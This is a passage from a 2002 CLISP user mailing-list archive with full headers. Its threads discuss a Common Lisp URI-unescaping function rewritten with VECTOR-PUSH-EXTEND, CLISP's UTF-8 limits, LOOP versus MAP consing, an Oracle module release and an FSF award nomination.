discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 15:24:01 2002 X-Original-Date: 08 Sep 2002 00:23:04 +0200 Sophronis Mantoles writes: > I am new to the list and I am pretty sure this came up before. I am using > clisp version 2.29 for windows running on windows XP. > I am trying to call an editor from the clisp prompt by typing: > > [1]>(load "editor") > > and I can not get it to work. > > The editor called in my config.lsp file is the notepad.exe > actually when I load the config.lsp file I am getting error loading. > Everything else seems to be working. The readme file on the distribution > for version 2.29 calls for a set of instructions to create a batch file > etc. I just used the batch file that came with the distribution. Am I off > on a tangent on this one? > > any help would be appreciated. > > I would rather be on a unix environment but I am on windows by necessity. You might want to read this text by Bill Clementson: Edi. From lists@consulting.net.nz Sat Sep 07 16:20:33 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17norr-0004bw-00 for ; Sat, 07 Sep 2002 16:20:03 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17nopi-0000qP-00 for ; Sun, 08 Sep 2002 11:17:42 +1200 Subject: Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1031377382.2222.10.camel@work> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1031440965.1510.43.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 16:21:02 2002 X-Original-Date: 08 Sep 2002 11:22:44 +1200 On Sun, 2002-09-08 at 04:46, Sam Steingold wrote: > > * In message <1031377382.2222.10.camel@work> > > * On the subject of "[clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)" > > * Sent on 07 Sep 2002 17:43:02 +1200 > > * Honorable Adam Warner writes: > > > > I'm hoping you can help me understand how to create a Gray binary > > output stream. > > see, e.g., describe.lisp in the CLISP sources for inspiration. Thanks. I really have to work to understand the CLOS system. > what are you trying to accomplish? This is what I have accomplished. It decodes URI encoded URL's/HTML form substrings: (defparameter *faithful* (ext:make-encoding :charset 'charset:iso-8859-1 :line-terminator :unix)) (defun unescape-uri (string) (let* ((newstring (substitute #\Newline #\+ string)) (start-pos 0) (list (loop for pos = (position #\% newstring :start start-pos) until (eq pos nil) unless (= pos start-pos) collect (subseq newstring start-pos pos) collect (subseq newstring pos (+ pos 3)) do (setf start-pos (+ pos 3))))) (when (<= start-pos (1- (length newstring))) (setf list (append list (list (subseq newstring start-pos))))) ;;now that the string is broken up I need to turn all the ;;escaped characters into actual characters. ;;I encode the string as faithful character then convert it to binary. ;;It is then converted to the default terminal encoding (which should be UTF-8). (let ((current-encoding *terminal-encoding*)) (setf *terminal-encoding* *faithful*) (let ((binary (convert-string-to-bytes (with-output-to-string (stream) (dolist (item list) (if (string= (subseq item 0 1) "%") (write-char (code-char (parse-integer (subseq item 1) :radix 16)) stream) (write-string item stream)))) *terminal-encoding*))) (setf *terminal-encoding* current-encoding) (convert-string-from-bytes binary *terminal-encoding*))))) e.g. (unescape-uri "English+%28Braille%29%3A+%E2%A0%8A%E2%A0%80%E2%A0%89%E2%A0%81%E2%A0%9D%E2%A0%80%E2%A0%91%E2%A0%81%E2%A0%9E%E2%A0%80%E2%A0%9B%E2%A0%87%E2%A0%81%E2%A0%8E%E2%A0%8E%E2%A0%80%E2%A0%81%E2%A0%9D%E2%A0%99%E2%A0%80%E2%A0%8A%E2%A0%9E%E2%A0%80%E2%A0%99%E2%A0%95%E2%A0%91%E2%A0%8E%E2%A0%9D%E2%A0%9E%E2%A0%80%E2%A0%93%E2%A0%A5%E2%A0%97%E2%A0%9E%E2%A0%80%E2%A0%8D%E2%A0%91") Will return line 45 of the UTF-8 sampler if the current terminal encoding is UTF-8: http://www.columbia.edu/kermit/utf8.html The kludge is that I currently have to simulate a binary stream using with-output-to-string, convert that to a vector and then convert that to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte 8) I could bypass the conversion from the simulated binary stream to the actual vector stream (plus writing to a vector stream should be faster than a string stream). For a speedup I realise I could bypass the intermediate list representation of the original string. Regards, Adam From sds@gnu.org Sat Sep 07 17:43:37 2002 Received: from pool-151-203-41-56.bos.east.verizon.net ([151.203.41.56] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nqAr-0007uL-00 for ; Sat, 07 Sep 2002 17:43:37 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g880hj420395; Sat, 7 Sep 2002 20:43:45 -0400 To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) References: <1031377382.2222.10.camel@work> <1031440965.1510.43.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1031440965.1510.43.camel@work> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 17:44:02 2002 X-Original-Date: 07 Sep 2002 20:43:45 -0400 > * In message <1031440965.1510.43.camel@work> > * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)" > * Sent on 08 Sep 2002 11:22:44 +1200 > * Honorable Adam Warner writes: > > The kludge is that I currently have to simulate a binary stream using > with-output-to-string, convert that to a vector and then convert that > to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte > 8) I could bypass the conversion from the simulated binary stream to > the actual vector stream (plus writing to a vector stream should be > faster than a string stream). why use streams at all? doesn't VECTOR-PUSH-EXTEND do what you want? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux God had a deadline, so He wrote it all in Lisp. From lists@consulting.net.nz Sat Sep 07 18:50:21 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nrDO-0003p2-00 for ; Sat, 07 Sep 2002 18:50:18 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17nqzT-0000ss-00; Sun, 08 Sep 2002 13:36:04 +1200 Subject: Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) From: Adam Warner To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1031377382.2222.10.camel@work> <1031440965.1510.43.camel@work> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1031449264.1854.106.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 18:51:02 2002 X-Original-Date: 08 Sep 2002 13:41:04 +1200 On Sun, 2002-09-08 at 12:43, Sam Steingold wrote: > > * In message <1031440965.1510.43.camel@work> > > * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)" > > * Sent on 08 Sep 2002 11:22:44 +1200 > > * Honorable Adam Warner writes: > > > > The kludge is that I currently have to simulate a binary stream using > > with-output-to-string, convert that to a vector and then convert that > > to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte > > 8) I could bypass the conversion from the simulated binary stream to > > the actual vector stream (plus writing to a vector stream should be > > faster than a string stream). > > why use streams at all? > doesn't VECTOR-PUSH-EXTEND do what you want? Why yes it does. Thanks for pointing out this functionality! Speed wise--since all non-escaped (%xx encoded) string elements are simply printed to the stream using write-string--any byte-by-byte approach would probably be slower (since I can't compile to native code). The way to make it faster would be to avoid converting the plain ASCII portions to vectors in the first place. The output string would a concatenation of the plain ASCII portions and the VECTOR-PUSH-EXTENDed portions converted back to strings. Thanks for the advice Sam. It was much appreciated. CLISP's great Unicode support was one of the clear reasons for choosing to develop using CLISP instead of CMUCL. Regards, Adam (Note from the impnotes: UTF-8 only supports Unicode-16 encoding up to three bytes. Longer UTF-8 sequences do not yet appear to be supported: "UTF-8, the 16-bit UNICODE character set. Every character is represented as one to three bytes. ASCII characters represent themselves and need one byte per character. Most Latin/Greek/Cyrillic/Hebrew characters need two bytes per character, and the remaining characters need three bytes per character. This is therefore, in general, the most space-efficient encoding of all of Unicode-16." UTF-8 encoded characters may be up to six bytes long. The 16-bit character subset is up to three bytes long as stated above.) From sds@gnu.org Sat Sep 07 19:45:37 2002 Received: from pool-151-203-41-56.bos.east.verizon.net ([151.203.41.56] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ns4v-0003pc-00 for ; Sat, 07 Sep 2002 19:45:37 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g882ji421324; Sat, 7 Sep 2002 22:45:44 -0400 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 44 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Subject: [clisp-list] FSF Award Nomination: Bruno Haible Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 19:46:02 2002 X-Original-Date: 07 Sep 2002 22:45:44 -0400 --=-=-= Please visit and support nomination of Bruno Haible, the CLISP author. --=-=-= Content-Type: message/rfc822 Content-Disposition: inline Return-Path: To: award-nominations@gnu.org Subject: Bruno Haible Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 07 Sep 2002 21:17:03 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Status: No, hits=0.0 required=5.0 tests=none version=2.31 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Bruno Haible has been involved with the Free software movement for over 15 years. He is the main force behind GNU CLISP (http://clisp.cons.org), and he has contributed to GCC (dozens of patches and many more bug reports, some stemming from GCC being unable to compile CLISP properly) and GLIBC (hundreds of patches and bug reports). He worked a lot on bringing Free Software to people who do not speak English, by creating the GNU libiconv library for converting between various encodings and by maintaining the GNU gettext (starting with version 0.11) library for internationalization of programs. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord --=-=-= -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Don't use force -- get a bigger hammer. --=-=-=-- From hin@van-halen.alma.com Sat Sep 07 20:34:53 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nsqa-00084a-00 for ; Sat, 07 Sep 2002 20:34:52 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g883YokB029383 for ; Sat, 7 Sep 2002 23:34:50 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g883YovS029380; Sat, 7 Sep 2002 23:34:50 -0400 Message-Id: <200209080334.g883YovS029380@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@sourceforge.net Subject: [clisp-list] CLISP Oracle library available Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 20:35:02 2002 X-Original-Date: Sat, 7 Sep 2002 23:34:50 -0400 A while back, I mentioned I would be developing a CLISP module that allowed you to access Oracle databases from CLISP. A first release of that is ready and available at http://clisp.alma.com I would very much like anyone interested to try to at least build it. I've only tested it with Linux. I think there was a Solaris user out there who wanted to use it. The module provides a rich set of features that can be used for Oracle applications both simple and sophisticated. The highlights are: - Source code avaiable under the GNU General Public License - Full access to most Oracle functionality, including all functions accessible via SQL - Complete error reporting, including pass-through of Oracle error messages and identification of the location of SQL parse errors - Support for transactions (WITH-TRANSACTION macro) - Auto-commit feature that commits database results to simplify applications that are not transaction intensive. - Automatic mapping of Oracle data types to and from Lisp data types (string, fixnum, bignum, NULL, etc.) - Convenient constructs for database inserts and updates - Constructs for looping over SELECT query results: a DO-ROWS macro, and a one-row lookahead buffer, useful for formatting reports at "breaks" in data streams. - Support for multiple, simultaneous connections to the same database or different databases - Connection caching, allowing re-used of previously established database connections, to minimize overhead Thanks in advance for any comments or feedback you may have. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lists@consulting.net.nz Sun Sep 08 03:52:50 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nzgF-0002UQ-00 for ; Sun, 08 Sep 2002 03:52:40 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17nzfc-0000zA-00 for ; Sun, 08 Sep 2002 22:52:00 +1200 Subject: [Fwd: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)]] From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1031482631.4271.6.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 8 03:53:02 2002 X-Original-Date: 08 Sep 2002 22:57:11 +1200 One more try. Please don't bounce this one Sourceforge. -----Forwarded Message----- From: Adam Warner To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)] Date: 08 Sep 2002 22:11:06 +1200 On Sun, 2002-09-08 at 12:43, Sam Steingold wrote: > > * In message <1031440965.1510.43.camel@work> > > * On the subject of "Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)" > > * Sent on 08 Sep 2002 11:22:44 +1200 > > * Honorable Adam Warner writes: > > > > The kludge is that I currently have to simulate a binary stream using > > with-output-to-string, convert that to a vector and then convert that > > to a UTF-8 encoded string. If I had a vector stream of (unsigned-byte > > 8) I could bypass the conversion from the simulated binary stream to > > the actual vector stream (plus writing to a vector stream should be > > faster than a string stream). > > why use streams at all? > doesn't VECTOR-PUSH-EXTEND do what you want? Here's the vector-push-extend version: (defun unescape-uri (string) (let ((input-string (substitute #\Newline #\+ string)) (start-pos 0) (byte-vector (make-array 1000 :adjustable t :fill-pointer 0 :element-type '(unsigned-byte 8)))) (loop for pos = (position #\% input-string :start start-pos) until (eq pos nil) unless (= pos start-pos) do (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos pos)) do (vector-push-extend (parse-integer (subseq input-string (1+ pos) (+ pos 3)) :radix 16) byte-vector) (setf start-pos (+ pos 3))) (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos)) (convert-string-from-bytes byte-vector *terminal-encoding*))) It's quite tidy in comparison. It uses map+anonymous functions to efficiently push non-escaped sequences onto the byte-vector. You can break it by supplying a broken string (e.g. supplying the % without a two digit hex number). Regards, Adam From sds@gnu.org Sun Sep 08 14:38:00 2002 Received: from pool-151-203-30-102.bos.east.verizon.net ([151.203.30.102] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17o9km-0004TP-00 for ; Sun, 08 Sep 2002 14:38:00 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g88LbrO03568; Sun, 8 Sep 2002 17:37:53 -0400 To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [Fwd: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)]] References: <1031482631.4271.6.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1031482631.4271.6.camel@work> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 8 14:38:11 2002 X-Original-Date: 08 Sep 2002 17:37:53 -0400 > * In message <1031482631.4271.6.camel@work> > * On the subject of "[Fwd: Re: [clisp-list] VECTOR-PUSH-EXTEND [was ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)]]" > * Sent on 08 Sep 2002 22:57:11 +1200 > * Honorable Adam Warner writes: > > Here's the vector-push-extend version: > > (defun unescape-uri (string) > (let ((input-string (substitute #\Newline #\+ string)) > (start-pos 0) > (byte-vector (make-array 1000 :adjustable t :fill-pointer 0 :element-type '(unsigned-byte 8)))) > (loop for pos = (position #\% input-string :start start-pos) until (eq pos nil) > unless (= pos start-pos) do (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) > (subseq input-string start-pos pos)) > do (vector-push-extend (parse-integer (subseq input-string (1+ pos) (+ pos 3)) :radix 16) byte-vector) > (setf start-pos (+ pos 3))) > (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos)) > (convert-string-from-bytes byte-vector *terminal-encoding*))) replacing (map nil #'(lambda (x) (vector-push-extend (char-code x) byte-vector)) (subseq input-string start-pos pos)) with (loop for i from start-pos to pos do (vector-push-extend (char-code (aref input-string i)) byte-vector)) will save you consing SUBSEQ and LAMBDA. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux I may be getting older, but I refuse to grow up! From amoroso@mclink.it Mon Sep 09 04:54:39 2002 Received: from mail4.mclink.it ([195.110.128.78] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oN7l-0004P6-00 for ; Mon, 09 Sep 2002 04:54:37 -0700 Received: from net145-058.mclink.it (net145-058.mclink.it [195.110.145.58]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g89BrQl24339 for ; Mon, 9 Sep 2002 13:53:27 +0200 (CEST) From: Paolo Amoroso To: clisp-list@sourceforge.net Subject: Re: [clisp-list] FSF Award Nomination: Bruno Haible Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 04:55:03 2002 X-Original-Date: Mon, 09 Sep 2002 13:48:59 +0200 On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote: > Please visit > and support nomination of Bruno Haible, the CLISP author. Great. But I don't understand how we can support the nomination. Is there a way to vote for nominations? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From samuel.steingold@verizon.net Mon Sep 09 05:56:37 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oO5k-0003z6-00 for ; Mon, 09 Sep 2002 05:56:36 -0700 Received: (cpmta 29559 invoked from network); 9 Sep 2002 05:56:35 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 9 Sep 2002 05:56:35 -0700 X-Sent: 9 Sep 2002 12:56:35 GMT To: Paolo Amoroso Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] FSF Award Nomination: Bruno Haible References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 05:57:02 2002 X-Original-Date: 09 Sep 2002 08:56:23 -0400 > * In message > * On the subject of "Re: [clisp-list] FSF Award Nomination: Bruno Haible" > * Sent on Mon, 09 Sep 2002 13:48:59 +0200 > * Honorable Paolo Amoroso writes: > > On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote: > > > Please visit > > and support nomination of Bruno Haible, the CLISP author. > > Great. But I don't understand how we can support the nomination. Just nominate Bruno again, listing all you know about him (I am sure I missed a lot of his accomplishments). > Is there a way to vote for nominations? dunno. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Any connection between your reality and mine is purely coincidental. From haible@ilog.fr Mon Sep 09 11:05:29 2002 Received: from [193.55.64.10] (helo=sceaux.ilog.fr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oSue-0003R3-00 for ; Mon, 09 Sep 2002 11:05:29 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g89I1JN18196 for ; Mon, 9 Sep 2002 20:01:29 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002090920044822334 for ; Mon, 09 Sep 2002 20:04:48 +0200 Received: from honolulu.ilog.fr ([172.17.4.146]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g89I4lh10057; Mon, 9 Sep 2002 20:04:47 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA07670; Mon, 9 Sep 2002 20:06:37 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15740.58156.923506.554427@honolulu.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid In-Reply-To: <1031449264.1854.106.camel@work> References: <1031449264.1854.106.camel@work> <1031377382.2222.10.camel@work> <1031440965.1510.43.camel@work> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 11:06:04 2002 X-Original-Date: Mon, 9 Sep 2002 20:06:36 +0200 (CEST) Adam Warner writes: > (Note from the impnotes: UTF-8 only supports Unicode-16 encoding up to > three bytes. Longer UTF-8 sequences do not yet appear to be supported This is corrected current in the CVS sources of clisp: All of Unicode, up to U+10FFFF, will be supported in the next clisp release. (And no changes to your programs will be needed when switching from the 16-bit Unicode subset clisp to the full Unicode clisp.) The characters that need more than three bytes when encoded as UTF-8 are rarities like Etruskian alphabet, musical symbols, and rare Chinese ideographs. Bruno From Joerg-Cyril.Hoehle@t-systems.com Mon Sep 09 12:03:29 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oTog-00024w-00 for ; Mon, 09 Sep 2002 12:03:22 -0700 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Sep 2002 21:03:13 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 9 Sep 2002 21:03:12 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 12:04:27 2002 X-Original-Date: Mon, 9 Sep 2002 15:08:23 +0200 Sam Stingold wrote: >replacing > (map nil #'(lambda (x) (vector-push-extend (char-code >x) byte-vector)) (subseq input-string start-pos pos)) >with > (loop for i from start-pos to pos do >(vector-push-extend (char-code (aref input-string i)) byte-vector)) >will save you consing SUBSEQ and LAMBDA. I agree for SUBSEQ, but I thought CLISP would open-code MAPCAR and its friends? Some believe this is important so programmers remain free to use either form of looping and programming style they like and are not biased towards a specific one only for performance reasons. There's been a long history now of fighting against: o use macros over functions, because they produce better code o use LOOP over MAPCAR etc., because it produces better code(! - because it lambdas (=> GC) less) If we can't say "the code will be identical in both cases, so prefer what's more legible" then [some] people *will* bias their style towards what they percieve - and can verify - is faster. A tiny test seems to support the view that MAPCAR is inlined, while MAP is not? BTW, that argument is not far away from Erik Naggum's old argument about why CLISP doesn't favour abstraction, which generated quite some heat. Regards, Jorg Hohle. From samuel.steingold@verizon.net Mon Sep 09 12:31:04 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17oUFS-0002a0-00 for ; Mon, 09 Sep 2002 12:31:02 -0700 Received: (cpmta 2689 invoked from network); 9 Sep 2002 12:30:59 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 9 Sep 2002 12:30:59 -0700 X-Sent: 9 Sep 2002 19:30:59 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND] References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 44 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 9 12:32:02 2002 X-Original-Date: 09 Sep 2002 15:30:57 -0400 > * In message > * On the subject of "[clisp-list] does LOOP cons less than MAP? [was: VECTOR-PUSH-EXTEND]" > * Sent on Mon, 9 Sep 2002 15:08:23 +0200 > * 